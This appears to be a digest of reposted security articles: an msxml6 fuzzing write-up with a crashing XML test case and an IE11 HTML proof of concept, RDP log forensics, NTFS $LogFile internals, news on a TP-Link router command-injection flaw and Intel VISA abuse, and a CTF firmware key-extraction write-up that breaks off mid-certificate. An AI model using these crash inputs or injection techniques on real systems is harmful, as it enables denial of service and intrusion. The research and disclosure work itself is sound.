0012fbcc 6f9de300 03727aa0 00000002 030f4f1c msxml6!DTD::findEntityGeneral+0x5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\dtd\dtd.hxx @ 236]
0012fbe8 6f999db3 03727aa0 00000003 030c5fb0 msxml6!DTD::checkAttrEntityRef+0x14 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\dtd\dtd.cxx @ 1470]
0012fc10 6f90508f 030f4f18 0012fc3c 00000000 msxml6!GetAttributeValueCollapsing+0x43 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 771]
0012fc28 6f902d87 00000003 030f4f14 6f9051f4 msxml6!NodeFactory::FindAttributeValue+0x3c (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 743]
0012fc8c 6f8f7f0d 030c5fb0 030c3f20 01570040 msxml6!NodeFactory::CreateNode+0x124 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 444]
0012fd1c 6f8f5042 010c3f20 ffffffff c4fd70d3 msxml6!XMLParser::Run+0x740 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\tokenizer\parser\xmlparser.cxx @ 1165]
0012fd58 6f8f4f93 030c3f20 c4fd7017 00000000 msxml6!Document::run+0x89 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 1494]
0012fd9c 6f90a95b 030ddf58 00000000 00000000 msxml6!Document::_load+0x1f1 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 1012]
0012fdc8 6f8f6c75 037278f0 00000000 c4fd73b3 msxml6!Document::load+0xa5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 754]
0012fe38 00401d36 00000000 00000008 00000000 msxml6!DOMDocumentWrapper::load+0x1ff (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\om\xmldom.cxx @ 1111]
-- cut --
Running cBugId to triage the crashes..

Let’s take a look at one of the crasher:

C:\Users\IEUser\Desktop\xml_validate_results\fuzzer01\crashes>type id_000000_00
<?xml version="&a;1.0"?>
<book xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:noNamespaceSchemaLocation="nn.xsd"
      id="bk101">
   <author>Gambardella, Matthew</author>
   <title>XML Developer's Guide</title>
   <genre>Computer</genre>
   <price>44.95</price>
   <publish_date>2000-10-01</publish_date>
   <description>An in-depth look at creating applications with
   XML.</description>

As you can see, if we provide some garbage either on the xml version or the encoding, we will get the above crash. Mitja also minimised the case as seen below:

<?xml version='1.0' encoding='&aaa;'?>

The whole idea of fuzzing this library was based on finding a vulnerability within Internet Explorer’s context and somehow trigger it. After a bit of googling, let’s use the following PoC (crashme.html) and see if it will crash IE11:

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>

var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.load("crashme.xml");
if (xmlDoc.parseError.errorCode != 0) {
   var myErr = xmlDoc.parseError;
   console.log("You have error " + myErr.reason);
} else {
   console.log(xmlDoc.xml);
}

</script>
</body>
</html>

Running that under Python’s SimpleHTTPServer gives the following:

Running cBugId to triage the crashes..

Bingo! As expected, at least with PageHeap enabled we are able to trigger exactly the same crash as with our harness. Be careful not to include that xml on Microsoft Outlook, because it will also crash it as well! Also, since it’s on the library itself, had it been a more sexy crash would increase the attack surface!

Patching

After exchanging a few emails with Mitja, he kindly provided me the following patch which can be applied on a fully updated x64 system:

;target platform: Windows 7 x64
;
RUN_CMD C:\Users\symeon\Desktop\xmlvalidate_64bit\xmlvalidate.exe C:\Users\symeon\Desktop\xmlvalidate_64bit\poc2.xml
MODULE_PATH "C:\Windows\System32\msxml6.dll"
PATCH_ID 200000
PATCH_FORMAT_VER 2
VULN_ID 9999999
PLATFORM win64


patchlet_start
 PATCHLET_ID 1
 PATCHLET_TYPE 2
 
 PATCHLET_OFFSET 0xD093D 
 PIT msxml6.dll!0xD097D
  
 code_start

  test rbp, rbp ;is rbp (this) NULL?
  jnz continue
  jmp PIT_0xD097D
  continue:
 code_end
patchlet_end

Let’s debug and test that patch, I’ve created an account and installed the 0patch agent for developers, and continued by right clicking on the above .0pp file:

Running the crasher with the 0patch console

Once I’ve executed my harness with the xml crasher, I immediately hit the breakpoint:

Hitting the breakpoint under Windbg

From the code above, indeed rbp is null which would lead to the null pointer dereference. Since we have deployed the 0patch agent though, in fact it’s going to jump to msxml6.dll!0xD097D and avoid the crash:

Bug fully patched!

Fantastic! My next step was to fire up winafl again with the patched version which unfortunately failed. Due to the nature of 0patch (function hooking?) it does not play nice with WinAFL and it crashes it.

Nevertheless, this is a sort of “DoS 0day” and as I mentioned earlier I reported it to Microsoft back in June 2017 and after twenty days I got the following email:

MSRC Response!

I totally agree with that decision, however I was mostly interested in patching the annoying bug so I can move on with my fuzzing :o) 
After spending a few hours on the debugger, the only “controllable” user input would be the length of the encoding string:

eax=03052660 ebx=0012fc3c ecx=00000011 edx=00000020 esi=03054f24 edi=00000002
eip=6f80e616 esp=0012fbd4 ebp=0012fbe4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
msxml6!Name::create+0xf:
6f80e616 e8e7e6f9ff      call    msxml6!Name::create (6f7acd02)
0:000> dds esp L3
0012fbd4  00000000
0012fbd8  03064ff8
0012fbdc  00000003

0:000> dc 03064ff8 L4
03064ff8  00610061 00000061 ???????? ????????  a.a.a...????????

The above unicode string is in fact our entity from the test case, where the number 3 is the length aparently (and the signature of the function: Name *__stdcall Name::create(String *pS, const wchar_t *pch, int iLen, Atom *pAtomURN))

Conclusion

As you can see, spending some time on Microsoft’s APIs/documentation can be gold! Moreover, refactoring some basic functions and pinpointing the issues that affect the performance can also lead to massive improvements!

On that note I can’t thank enough Ivan for porting the afl to Windows and creating this amazing project. Moreover thanks to Axel as well who’s been actively contributing and adding amazing features.

Shouts to my colleague Javier (we all have one of those heap junkie friends, right?) for motivating me to write this blog, Richard who’s been answering my silly questions and helping me all this time, Mitja from the 0patch team for building this patch and finally Patroklo for teaching me a few tricks about fuzzing a few years ago!

References

Evolutionary Kernel Fuzzing-BH2017-rjohnson-FINAL.pdf
Super Awesome Fuzzing, Part One

RDP Event Log DFIR

Original text by grayfold3d

A good detection technique to spot Remote Desktop Connections that are exposed to the internet is to scan RDP event logs for any events where the source IP is a non-RFC 1918 address. This provides you a good way to check for locations that may be port forwarding RDP, like work from home users.

During a recent investigation involving Remote Desktop Connections, I discovered some behavior that limited this search functionality and was contrary to what I’d observed in previous cases and seen documented in other blogs. I’ve done some testing over the last few days and thought I’d pass along what I’d found. 

Prior Observations

I refer to the following two sources whenever I need a refresher on RDP logging. They both do a great job of explaining what gets logged at the various stages of an RDP connection: Login, Logoff, Disconnect, Reconnect, etc.

During previous investigations, I’d observed Event ID 1149 in the TerminalServices-RemoteConnectionManager/Operational log occurring as soon as an RDP connection was established. This event was logged prior to credentials being entered during the login process and my interpretation was that this indicated that the RDP client has connected to the RDP host successfully. It did not indicate that a login had successfully occurred. 
This made Event ID 1149 very valuable as it gave you the means to spot failed logins or brute force login attempts even if auditing of failed logins was not enabled. As mentioned above, the presence of a non-RFC 1918 address in one of these logs is a good indicator that that device has been in a location with RDP exposed to the internet.

Event ID 1149 was followed by a series of other events which varied depending on whether a previous session was being reconnected and whether the authentication was successful.

During successful authentication, you observe Event ID 4624 in the Windows Security log. Note there is a 4624 event where the “Logon Type” is 3. This occurs because this connection is using Network Level Authentication. This will be followed by another 4624 Event with logon type 10 (or 7 for reconnects). (*Thanks to @securitycatnip for catching an error in the original post.)

Event ID 21 and 22 (new connections) are logged in the TerminalServices-LocalSessionManager/Operational log.

For failed logins, Event ID 1149 would be followed by Event ID 4625 in the Windows Security Log.

An important point is that Event ID 4625 ( for login failures) is not logged by default in desktop operating systems like Windows 7, 8, and 10.

Current Observations

During a recent investigation, I noticed that Event ID 1149 was not being logged when the login was unsuccessful. This was observed when connecting to a Windows 10 device. If the login succeeded, the 1149 event was logged as seen previously. In both cases, Event ID 261 is logged in the TS RemoteConnectionManager/Operational log but unfortunately, this doesn’t give us any information on who was attempting to connect.

After performing some additional testing and reviewing notes from previous cases, I’ve found the following. Please note, not all Operating Systems or OS versions are accounted for here as I tested what I had available.

Event ID 1149 was not logged prior to successful authentication and only occurs if authentication is successful on the following Operating Systems:

  • Windows Server 2012
  • Windows Server 2016
  • Windows 7
  • Windows 8.1
  • Windows 10 (version 1803)

Event ID 1149 was logged prior to successful authentication on the following Operating Systems:

  • Windows Server 2008
  • Windows SBS Server 2011

Additional Log Sources

I performed a timeline of the Event Logs after a series of failed and successful RDP connections to see if anything else was logged that might be helpful in identifying failed RDP login attempts. I discovered that the RemoteDesktopServices-RdpCoreTS/Operational log does log Event ID 131 when the RDP connection is first established. This occurs prior to authentication like Event ID 1149 did previously and while there is no workstation name or user account associated with this log entry, it does provide the connecting IP. Unfortunately, this log channel does not exist in Windows 7.

I touched on Network Level Authentication above when discussing the “Logon Type” field recorded in the Security log. NLA requires the client to authenticate before connecting to the host. An easy way to tell if NLA is disabled is that when connecting to a host, you see the login screen of that device before entering credentials. This allows an attacker to see who is currently logged in, other user accounts on the PC and the domain name.

NLA really should be enabled on most devices but if it is not, you can find an additional event in the TerminalServices-RemoteConnectionManager/Admin log. Event ID 1158 will also display the source IP. While this log is available in Windows 7, I was not able to generate Event ID 1158 when connecting to a Windows 7 PC without NLA.

Closing

One final tip. If you’re doing any RDP testing and want to force your client to connect without NLA, you can do so by editing the RDP connection file. To do so, save the .RDP file and open it in notepad or another text editior. Paste the following line anywhere in the file:
enablecredsspsupport:i:0

If you’ve got any feedback, feel free to share. I’m still on the lookout for a good way to identify brute force RDP attempts on default Windows 7 configurations so if you’ve got any thoughts on that, let me know.

How the $LogFile works?

Original text by MSUHANOV

In the official NTFS implementation, all metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called write-ahead logging.

The logged metadata is stored in a file called “$LogFile”, which is found in a root directory of an NTFS file system.

Currently, there is no much documentation for this file available. Most sources are either too high-level (describing the logging and recovery processes in general) or just contain the layout of key structures without further description.

The process of metadata logging is based on two components: the log file service (LFS) and the NTFS client of the LFS (both are implemented as a part of the NTFS driver).

The LFS provides an interface for its clients to store a buffer in a circular (“infinite”) area of a log file and to read such buffers from that log file. In particular, the following simplified types of actions are supported:

  • store a buffer (client data) as a log record, return its log sequence number (LSN);
  • store a buffer (client data) as a restart area, return its LSN;
  • if a log file is full, raise an exception for a client;
  • mark previously stored data as unused;
  • given an LSN, locate a stored buffer (client data) and return it;
  • given an LSN, find a next LSN for the same client and return it (forward search);
  • given an LSN, find a previous LSN for the same client and return it (backward search).

As you can see, the LFS is the data management layer for the NTFS logging component, the LFS doesn’t do the actual logging of metadata operations. Each buffer received from a client is opaque to the LFS (the LFS is only aware of a type of this buffer: whether it’s a log record or a client restart area).

The actual logging (and recovery) is implemented as a part of the NTFS client of the LFS. Each buffer sent from this component to the LFS contains something related to a transaction. Here, a transaction is a set of metadata changes necessary to complete a specific high-level operation.

For example, the following metadata changes are combined as a transaction when a file is renamed:

  1. delete an index entry (with an old file name) for a target file from a file name index within a parent directory;
  2. delete the $FILE_NAME attribute (with an old file name) from a target file record;
  3. create the $FILE_NAME attribute (with a new file name) in a target file record;
  4. add an index entry (with a new file name) for a target file in a file name index within a parent directory.

If all of these changes were applied to a volume successfully, then the transaction is marked as forgotten.

But before we get to the format of metadata changes used by the NTFS client, we need to dissect on-disk structures of the LFS.

First of all, since each client buffer stored in a log file is identified by an LSN, it’s important to understand how these LSNs are generated by the LFS.

Each LSN is a 64-bit number containing the following components: a sequence number and an offset. An offset is stored in the lower part of an LSN, its value is a number of 8-byte increments from the beginning of a log file. This offset points to an LFS structure containing a client buffer and related metadata, this structure is called an LFS record. A sequence number is stored in the higher part, it’s a value from a counter which is incremented when a log file is wrapped (when a new structure is written to the beginning of the circular area, not to the end of this area).

The number of bits reserved for the sequence number part of an LSN is variable, it depends on the size of a log file (and it’s recorded in it).

For example, if 44 bits are reserved for the sequence number part and the LSN is 2124332, then the sequence number is 2 and the offset is 27180 8-byte increments (217440 bytes).

The LSNs have an important property: they are always increasing. An LSN for a new entry is always greater than an LSN for an older entry (technically, these numbers can overflow, but they won’t, because it’s practically impossible to reach the 64-bit limit).

An LFS record is a structure containing a header and client data. The following data is stored in the LFS record header: an LSN for this record, a previous LSN for the same client, an LSN for the undo operation for the same client, a client ID, a transaction ID, a record type (a log record or a client restart area), length of client data, various flags. Many values mentioned before are specified by the client.

LFS records are written to LFS record pages. Each LFS record page is 4096 bytes in size (it’s equal to the page size), it contains a header (the first four bytes are “RCRD”) and one or more LFS records. Since client data can be large, two or more adjacent LFS record pages may be required to store one LFS record (thus, an LFS record can be larger than an LFS record page; only the first segment has the LFS record header).

Each LFS record page is protected by an update sequence array, which is used to detect failed (torn) writes. Here is a description of the protection process (source):

The update sequence array consists of an array of nUSHORT values, where n is the size of the structure being protected divided by the sequence number stride. The first word contains the update sequence number, which is a cyclical counter of the number of times the containing structure has been written to disk. Next are the n saved USHORT values that were overwritten by the update sequence number the last time the containing structure was written to disk.

Each time the protected structure is about to be written to disk, the last word in each sequence number stride is saved to its respective position in the sequence number array, then it is overwritten with the next update sequence number. After the write, or whenever the structure is read, the saved word from the sequence number array is restored to its actual position in the structure. Before restoring the saved words on reads, all the sequence numbers at the end of each stride are compared with the actual sequence number at the start of the array. If any of these comparisons are not equal, then a failed multisector transfer has been detected.

(It should be noted that the stride is 512 bytes, even if an underlying drive has a larger sector size. Also, the size of an update sequence array isn’t n, but n+1.)

Here is the layout of a typical LFS record page:

lfs-record-page

Here is the layout of two LFS record pages containing a large LFS record:

lfs-record-pages

Finally, the circular (“infinite”) area of a log file consists of many LFS record pages. As described before, LFS records written to a log file can wrap, so a large LFS record starting in the last LFS record page also hits the first LFS record page of the circular area.

lfs-infinite.png

When writing a new LFS record into a current LFS record page, existing LFS records in this page can be lost because of a torn write or a system crash. Thus, data that was successfully stored before can be lost because of a new write.

In order to protect against such scenarios, a special area exists in a log file. It’s located before the circular area.

In the version 1.1 of the LFS, a special area consists of two pages, which are used to store two copies of a current LFS record page. Before putting a new LFS record into a current LFS record page, this page is stored in the special area (the first copy). After putting a new LFS record into a current LFS record page, the modified page is also written to the special area (the second copy, the first copy isn’t overwritten by the second one).

If a torn write or a system crash occurs when writing the second copy,  the first copy (without a new LFS record) will be available for the recovery. If everything is okay and the LFS needs the special area for a new update, then the second copy is written to the circular area of a log file (and the special area becomes available for a new update).

These two copies of a current LFS record page are called tail copies (because they always represent the latest LFS record page to be written to the circular area). The latest tail copy isn’t moved to the circular area immediately. So, in order to get a full set of LFS record pages during the recovery, the LFS should apply the latest tail page (or the valid one, if another tail page is invalid) to the circular area.

In the version 2.0 of the LFS, a special area consists of 32 pages. When the LFS needs to put a new LFS record into a current LFS record page or when the LFS prepares a new LFS record page with a single LFS record, the updated page (containing a new LFS record) or the new page is simply written to the special area (to an unused page).

If a torn write or a system crash occurs when writing that page, an older version of the same page from the special area is used. Occasionally, LFS record pages with latest data are moved to the circular area (and corresponding pages in the special area are marked as unused).

I don’t know how LFS record pages in this special area are called. I call them fast pages.

The new version of the LFS requires less writes by reducing the number of page transfers to the circular area. It should be noted that the version of a log file is downgraded to 1.1 during the clean shutdown by default (so an NTFS file system can be mounted using a previous version of Windows).

Also, Microsoft is going to release the version 3.0 of the LFS. This version will be used on DAX volumes. When a log file is mapped in the DAX mode, integrity of its pages is going to be protected using the CRC32 checksum (and there would be no update sequence arrays, because they won’t work well with byte-addressable memory). This will make things faster (no paging writes).

Finally, a log file begins with two restart pages, each one is 4096 bytes in size (again, it’s the page size; the first four bytes for each page are “RSTR”). These pages are also protected with update sequence arrays.

A restart page contains the LFS version number, a page size, and a restart area (not to be confused with a client restart area).

A restart area is a structure containing the latest LSN used (at the time when this structure was written), the number of clients of the LFS, the list of clients of the LFS, the number of bits used for the sequence number part of every LSN, as well as some data for sanity checks and forward compatibility (an offset of the first LFS record within an LFS record page, which is also an offset of the continuation of client data from a previous LFS record page, and a size of an LFS record header; both offsets allow unsupported fields to be ignored in LFS record pages and in LFS records).

A list of clients is composed of client records. A client record contains the oldest LSN required by this client, the LSN of the latest client restart area, the name of this client (as well as other information about this client). Currently, the only client is called “NTFS”.

Two restart pages provide reliability against a possible failure (a torn write or a system crash). These pages aren’t necessary synchronized.

Here is the generic layout of a log file:

lfs-layout.png

When the LFS is asked to provide initial data for its client, it will read and return the latest client restart area according to an LSN recorded in the appropriate client record. (Later, during the logging operation, the LFS won’t touch the oldest LFS record required by each client.)

A client receives its latest restart area, interprets it (remember that the LFS is unaware of the client data format), and decides what actions (if any) must be taken. If a log record is needed, then a client asks the LFS to provide this record (as a buffer) by its LSN.

The NTFS client tells the LFS to write a client restart area at the end of the checkpoint operation. During a checkpoint, the NTFS client writes a set of log records containing data about current transactions followed by a restart area, which points to every piece of that data (using LSNs). During the recovery, the NTFS client uses this data to decide which transactions are committed and which aren’t: committed transaction must be performed again using their redo data (there is a chance that this data didn’t hit the volume), while uncommitted transaction must be rolled back using their undo data.

And now we can take a look at the format of client data!

There are three versions of the NTFS client data format: 0.0, 1.0, and 2.0.

The last one seems to be under development, because it’s not enabled yet. This new version removes redundant open attribute table dumps and attribute names dumps, which were previously made during a checkpoint (the same data can be reconstructed from log records, so there is no reason to waste the space and link these dumps to a client restart area).

Currently, only the first two versions are used: 0.0 and 1.0. There are no significant differences between them. The most notable difference, although not a really significant one, is the format of open attribute entries.

A client restart area contains major and minor version numbers of the NTFS client data format used, an LSN to be used as a starting point for the analysis pass (when the NTFS driver builds a table of transactions and a table of dirty data ranges). Also, a client restart area contains LSNs for a transaction table dumped to a log file from memory (this table can be absent as well), an open attribute table dumped to a log file from memory, a list of attribute names dumped to a log file from memory, and a dirty page table dumped to a log file from memory (which is used to track dirty data ranges).

An open attribute table and a list of attribute names reference a nonresident attribute opened for a log operation. An entry from an open attribute table contains an $MFT reference number for a file record which nonresident attribute has been opened and a type code of this attribute (e.g, $DATA). An entry from a list of attribute names contains a Unicode name of a nonresident attribute opened along with an index of a corresponding entry in the open attribute table.

And a log record written during an operation on a nonresident attribute contains an index of a target attribute in the open attribute table. Based on this information (an $MFT file reference, an attribute code, and an attribute name), it’s possible to locate a target attribute. Also, a log record contains an offset within a target attribute at which new data is going to be written.

It should be noted that no table referenced by a client restart area is in the up-to-date state. New items from log records after the client restart area should be accounted in these tables.

A log record is an actual descriptor of a logged operation. A log record contains a redo type and data (can be empty), an undo type and data (can be empty too), a number of a target $MFT file record segment (for operations on resident attributes and on $MFT data in general), an index of a target attribute within the open attribute table (for operations on nonresident attributes), and several fields used to calculate an offset within a target.

Redo data is written when a transaction is committed, undo data is written when a transaction is rolled back (to bring things back to their previous state). There are some exceptions, however: when a nonresident attribute is opened, its open attribute record is stored as redo data and its Unicode name is stored as undo data.

Here is a full list of log operation types (as of Windows 10, build 18323):

Noop
CompensationLogRecord
InitializeFileRecordSegment
DeallocateFileRecordSegment
WriteEndOfFileRecordSegment
CreateAttribute
DeleteAttribute
UpdateResidentValue
UpdateNonresidentValue
UpdateMappingPairs
DeleteDirtyClusters
SetNewAttributeSizes
AddIndexEntryRoot
DeleteIndexEntryRoot
AddIndexEntryAllocation
DeleteIndexEntryAllocation
WriteEndOfIndexBuffer
SetIndexEntryVcnRoot
SetIndexEntryVcnAllocation
UpdateFileNameRoot
UpdateFileNameAllocation
SetBitsInNonresidentBitMap
ClearBitsInNonresidentBitMap
HotFix
EndTopLevelAction
PrepareTransaction
CommitTransaction
ForgetTransaction
OpenNonresidentAttribute
OpenAttributeTableDump
AttributeNamesDump
DirtyPageTableDump
TransactionTableDump
UpdateRecordDataRoot
UpdateRecordDataAllocation
UpdateRelativeDataIndex
UpdateRelativeDataAllocation
ZeroEndOfFileRecord

Here is a decoded transaction used to rename a file (from “aaa.txt” to “bbb.txt”).

It should be noted that updates to some attributes can be recorded partially. For example, an update to the $STANDARD_INFORMATION attribute can record data starting from the M timestamp (and the C timestamp, which is stored before the M timestamp, will be absent in the redo/undo data).

The only thing left is the meaning of every log operation. Not today!


Update (2019-02-17):

How long does it take for old data to become overwritten with new data?

In one of my tests with Windows 10, it took 16 minutes. In another test with Windows 10, it took 5 hours and 20 minutes. In both tests, mouse movements were the only user activity.

TP-Link ‘smart’ router proves to be anything but smart – just like its maker: Zero-day vuln dropped after silence

Original text by Thomas Claburn

TP-Link’s all-in-one SR20 Smart Home Router allows arbitrary command execution from a local network connection, according to a Google security researcher.

On Wednesday, 90 days after he informed TP-Link of the issue and received no response, Matthew Garrett, a well-known Google security engineer and open-source contributor, disclosed a proof-of-concept exploit to demonstrate a vulnerability affecting TP-Link’s router.

The 38-line script shows that you can execute any command you choose on the device with root privileges, without authentication. The SR20 was announced in 2016.

Via Twitter, Garrett explained that TP-Link hardware often incorporates TDDP, the TP-Link Device Debug Protocol, which has had multiple vulnerabilities in the past. Among them, version 1 did not require a password.

«The SR20 still exposes some version 1 commands, one of which (command 0x1f, request 0x01) appears to be for some sort of configuration validation,» he said. «You send it a filename, a semicolon and then an argument.»

Once it receives the command, says Garrett, the router responds to the requesting machine via TFTP, asks for the filename, imports it to a Lua interpreter, running as root, and sends the argument to the config_test() function within the imported file.

The Lua os.execute() method passes a command to be executed by an operating system shell. And since the interpreter is running as root, Garret explains, you have arbitrary command execution.

However, while TDDP listens on all interfaces, the default firewall prevents network access, says Garrett. This makes the issue less of a concern that remote code execution flaws identified in TP-Link 1GbE VPN routers in November.

Even so, vulnerability to a local attack could be exploited if an attacker manages to get a malicious download onto a machine connected to an SR20 router.

TP-Link did not immediately respond to a request for comment.

Garrett concluded his disclosure by urging TP-Link to provide a way to report security flaws and not to ship debug daemons on production firmware.

Researchers discover and abuse new undocumented feature in Intel chipsets

Original text by Catalin Cimpanu

Researchers find new Intel VISA (Visualization of Internal Signals Architecture) debugging technology.

At the Black Hat Asia 2019 security conference, security researchers from Positive Technologies disclosed the existence of a previously unknown and undocumented feature in Intel chipsets.

Called Intel Visualization of Internal Signals Architecture (Intel VISA), Positive Technologies researchers Maxim Goryachy and Mark Ermolov said this is a new utility included in modern Intel chipsets to help with testing and debugging on manufacturing lines.

VISA is included with Platform Controller Hub (PCH) chipsets part of modern Intel CPUs and works like a full-fledged logic signal analyzer.

PCH
Image: Wikimedia Commons

According to the two researchers, VISA intercepts electronic signals sent from internal buses and peripherals (display, keyboard, and webcam) to the PCH —and later the main CPU.

VISA EXPOSES A COMPUTER’S ENTIRE DATA

Unauthorized access to the VISA feature would allow a threat actor to intercept data from the computer memory and create spyware that works at the lowest possible level.

But despite its extremely intrusive nature, very little is known about this new technology. Goryachy and Ermolov said VISA’s documentation is subject to a non-disclosure agreement, and not available to the general public.

Normally, this combination of secrecy and a secure default should keep Intel users safe from possible attacks and abuse.

However, the two researchers said they found several methods of enabling VISA and abusing it to sniff data that passes through the CPU, and even through the secretive Intel Management Engine (ME), which has been housed in the PCH since the release of the Nehalem processors and 5-Series chipsets.

INTEL SAYS IT’S SAFE. RESEARCHERS DISAGREE.

Goryachy and Ermolov said their technique doesn’t require hardware modifications to a computer’s motherboard and no specific equipment to carry out.

The simplest method consists of using the vulnerabilities detailed in Intel’s Intel-SA-00086security advisory to take control of the Intel Management Engine and enable VISA that way.

«The Intel VISA issue, as discussed at BlackHat Asia, relies on physical access and a previously mitigated vulnerability addressed in INTEL-SA-00086 on November 20, 2017,» an Intel spokesperson told ZDNet yesterday.

«Customers who have applied those mitigations are protected from known vectors,» the company said.

However, in an online discussion after his Black Hat talk, Ermolov said the Intel-SA-00086 fixes are not enough, as Intel firmware can be downgraded to vulnerable versions where the attackers can take over Intel ME and later enable VISA.

Furthermore, Ermolov said that there are three other ways to enable Intel VISA, methods that will become public when Black Hat organizers will publish the duo’s presentation slides in the coming days.

As Ermolov said yesterday, VISA is not a vulnerability in Intel chipsets, but just another way in which a useful feature could be abused and turned against users. Chances that VISA will be abused are low. This is because if someone would go through the trouble of exploiting the Intel-SA-00086 vulnerabilities to take over Intel ME, then they’ll likely use that component to carry out their attacks, rather than rely on VISA.

As a side note, this is the second «manufacturing mode» feature Goryachy and Ermolov found in the past year. They also found that Apple accidentally shipped some laptops with Intel CPUs that were left in «manufacturing mode.»

Insomni’Hack 2019 CTF – Perfectly Unbreakable Flag – 500

Original text by Phil

Challenge description

To our surprise, we found out that our challenge from last year has been counterfeited by another CTF.
Since we must protect our flag business as much as we can, we invested in the most secure technology around : the cloud™®©.
Since each device is uniquely fingerprinted, we are confident that our unclonable devices will be safe from those french knockoffs.

More info :
- If the board fails to connect to the cloud, perform a hard reset (ie. disconnect it completely before rebooting it)
- The cloud endpoint used to get the flag is /flag, in case you need to guess it

And a .tgz is given, containing the 3 firmwares of the 3 available boards:

$ ls -l
total 1376
-rwxrwxrwx 1 root root 287536 mars 27 2019 board-2.bin
-rwxrwxrwx 1 root root 287536 mars 27 2019 board-3.bin
-rwxrwxrwx 1 root root 287536 mars 27 2019 board-4.bin
-rwxrwxrwx 1 root root 545222 mars 22 18:17 firmwares-d1bd1fcbfb1fdef7678608460ed96b16074aae3f43ed052ebcc3e2724d7efc27.tgz
$ sha256sum board-*
aadc9e62ba75bda60b1412d0514bae00a28f51636c1291590e70c217bcf25a2f board-2.bin
27e7b7d39566bbdbd109a56e50f546681770ef3fad261118d64e1319ff0d53e7 board-3.bin
32682457545043f8611078d43549cf4414f9f0bd29700c1f2c42ad80d5013229 board-4.bin

Understanding what to do

As this challenge looks not trivial at all, I’ve spent 15 minutes on understanding the goal and the path to achieve the job. All the 3 boards are in free access on a desk beside the organisation team.

Picture of the board number 2

When you power-up the device using the black USB cable, it start running and show the activity on the network connector. As this device is a development board, the left secable part is a ST-Link V2 ready to handle the right part of the board, composed of the main MCU and a few components. Connecting a PC to the USB port and running it with the official ST-Link utility give you this trace:

19:53:18 : ST-LINK SN : 0669FF494849887767175629
19:53:18 : ST-LINK Firmware version : V2J29M18
19:53:18 : Connected via SWD.
19:53:18 : SWD Frequency = 4,0 MHz.
19:53:18 : Connection mode : Connect Under Reset.
19:53:18 : Debug in Low Power mode enabled.
19:53:18 : Device ID:0x419
19:53:18 : Device family :STM32F42xxx/F43xxx
19:53:18 : Can not read memory!
Disable Read Out Protection and retry.

The MCU is protected, but the ST-link is non altered and can be used.

Now let’s see if the virtual COM port (VCP) is mapped by the ST-Link for debug purpose. Just start a terminal and RESET the board to have a look at the boot sequence:

Starting mbed-os-example-tls/tls-client
Using Mbed OS 5.11.5
Successfully connected to perfectlyunbreakable-cloud.insomni.hack at port 443
Starting the TLS handshake…
Successfully completed the TLS handshake
Server certificate:
cert. version : 1
serial number : 29:98:FB:FA:5B:65:0A:2D:15:E0:A4:BF:9B:06:6C:0B:1D:72:C8:8A
issuer name : C=CH, ST=Geneva, O=Insomni'hack
subject name : C=CH, ST=Geneva, O=Insomni'hack, CN=perfectlyunbreakable-cloud.insomni.hack
issued on : 2019-03-14 11:00:24
expires on : 2020-07-26 11:00:24
signed using : ECDSA with SHA256
EC key size : 256 bits

Certificate verification passed
Established TLS connection to perfectlyunbreakable-cloud.insomni.hack
HTTP: Received 175 chars from server
HTTP: Received '200 OK' status … OK
HTTP: Received message:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 22 Mar 2019 18:11:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive

Cloud connection OK.

DONE

At this point, nothing other is possible over the serial port, impossible to send command to the board.

The next check is to try to connect with a regular PC from LAN of the CTF to the URL https://perfectlyunbreakable-cloud.insomni.hack/ and see what happened:

No way to connect to the « secure cloud »

To summarize: The goal is to connect to the https://perfectlyunbreakable-cloud.insomni.hack/flag URL. I can deduce that only the official boards can do it because they own a client side certificate in their flash. So, the only way to connect to /flag with a regular browser is to steal the private certificate key from the flash of the MCU and import it to the browser.

Let’s start the reverse

Check the difference between all the 3 firmwares

As the authors gives you the 3 binary firmwares from the 3 running board, this looks too simple to spot the certificate by this way, but let’s try it.

The client side public certificate change …
… and a few bytes too

The public certificate is the first difference, and the 32 bytes at offset 0x080437B0 is the second one. The second one is the most interesting because it should be the —–BEGIN PRIVATE KEY—– but it was not the case.

Let’s the long reverse start

Now it’s time to reverse the 281KB STM32 firmware file… And guess what, just to be sure to maximise the complexity of the task, let’s use a newcomer: Ghidra!

The tool worth a look and from my previous tests, the ARM-thumb decompiler was fine on all the examples I’ve tried.

LOAD THE FILE

Loading the firmware and giving at this first stage the correct description to Ghidra is mandatory. The STM32 used for the challenge is a STM32F42xxx/F43xxx (according to the previous ST-Link trace). Checking in the reference guide for the ARM level instruction will point you Cortex-M4. And if you dig more, you’ll find it’s an ARMv7E ISA. The mistake I’ve done is to select in Ghidra the ARM v7 little endian target. The correct one is Cortex (thanks Balda for the correction):

Set the correct target

And do not forget to set the base address of the firmware:

0x08000000 came from reference guide

FINDING INTERESTING STUFF

Now we need to find the public and private key in the firmware. For the pub cert chain, it’s trivial, just need to look for strings « BEGIN CERTIFICATE »:

-----BEGIN CERTIFICATE-----
MIIBgzCCASoCFCmY+/pbZQotFeCkv5sGbAsdcsiLMAoGCCqGSM49BAMCMDUxCzAJ
